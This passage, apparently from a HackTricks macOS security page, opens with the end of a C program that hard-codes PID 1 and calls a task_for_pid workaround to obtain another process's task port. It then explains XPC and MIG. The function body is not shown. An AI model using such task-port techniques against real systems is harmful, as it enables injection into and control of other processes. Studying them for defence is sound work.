int main(int argc, char *argv[]) { /*if (argc != 2) { fprintf(stderr, β€œUsage: %s \n”, argv[0]); return 1; }

pid_t pid = atoi(argv[1]); if (pid <= 0) { fprintf(stderr, β€œInvalid PID. Please enter a numeric value greater than 0.\n”); return 1; }*/

int pid = 1;

task_for_pid_workaround(pid); return 0; }


XPC

Basic Information

XPC, which stands for XNU (the kernel used by macOS) inter-Process Communication, is a framework for communication between processes on macOS and iOS. XPC provides a mechanism for making safe, asynchronous method calls between different processes on the system. It’s a part of Apple’s security paradigm, allowing for the creation of privilege-separated applications where each component runs with only the permissions it needs to do its job, thereby limiting the potential damage from a compromised process.

For more information about how this communication work on how it could be vulnerable check:

macOS XPC

MIG - Mach Interface Generator

MIG was created to simplify the process of Mach IPC code creation. This is because a lot of work to program RPC involves the same actions (packing arguments, sending the msg, unpacking the data in the server…).

MIC basically generates the needed code for server and client to communicate with a given definition (in IDL -Interface Definition language-). Even if the generated code is ugly, a developer will just need to import it and his code will be much simpler than before.

For more info check:

macOS MIG - Mach Interface Generator

References

Tip

AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:HackTricks Training AWS Red Team Expert (ARTE)
GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training GCP Red Team Expert (GRTE) Azure ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks μ§€μ›ν•˜κΈ°